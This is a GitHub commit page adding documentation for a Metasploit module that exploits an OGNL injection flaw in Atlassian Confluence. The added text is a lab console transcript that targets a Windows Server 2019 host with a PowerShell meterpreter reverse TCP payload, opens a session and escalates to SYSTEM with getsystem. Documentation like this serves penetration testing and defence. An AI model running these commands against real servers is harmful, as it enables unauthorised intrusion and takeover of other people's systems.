Skip to content

Commit a96bc36

Browse files
committed
Update the docs with the Windows target
1 parent 339114e commit a96bc36

File tree

1 file changed

+37
-0
lines changed

1 file changed

+37
-0
lines changed

documentation/modules/exploit/multi/http/atlassian_confluence_namespace_ognl_injection.md

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,4 +87,41 @@ Meterpreter : python/linux
8787
meterpreter >
8888
```
8989

90+
### Confluence 7.17.2 on Windows Server 2019
91+
92+
```
93+
msf6 > use exploit/multi/http/atlassian_confluence_namespace_ognl_injection
94+
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
95+
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set RHOSTS 192.168.159.10
96+
RHOSTS => 192.168.159.10
97+
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set TARGET Windows\ Command
98+
TARGET => Windows Command
99+
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
100+
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
101+
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set LHOST 192.168.159.128
102+
LHOST => 192.168.159.128
103+
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > exploit
104+
105+
[*] Started reverse TCP handler on 192.168.159.128:4444
106+
[*] Running automatic check ("set AutoCheck false" to disable)
107+
[+] The target is vulnerable. Successfully tested OGNL injection.
108+
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
109+
[*] Sending stage (200774 bytes) to 192.168.159.10
110+
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:49943) at 2022-06-15 17:22:07 -0400
111+
112+
meterpreter > sysinfo
113+
Computer : WIN-3MSP8K2LCGC
114+
OS : Windows 2016+ (10.0 Build 17763).
115+
Architecture : x64
116+
System Language : en_US
117+
Domain : MSFLAB
118+
Logged On Users : 9
119+
Meterpreter : x64/windows
120+
meterpreter > getuid
121+
Server username: NT AUTHORITY\NETWORK SERVICE
122+
meterpreter > getsystem
123+
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
124+
meterpreter >
125+
```
126+
90127
[1]: https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro

0 commit comments

Comments
 (0)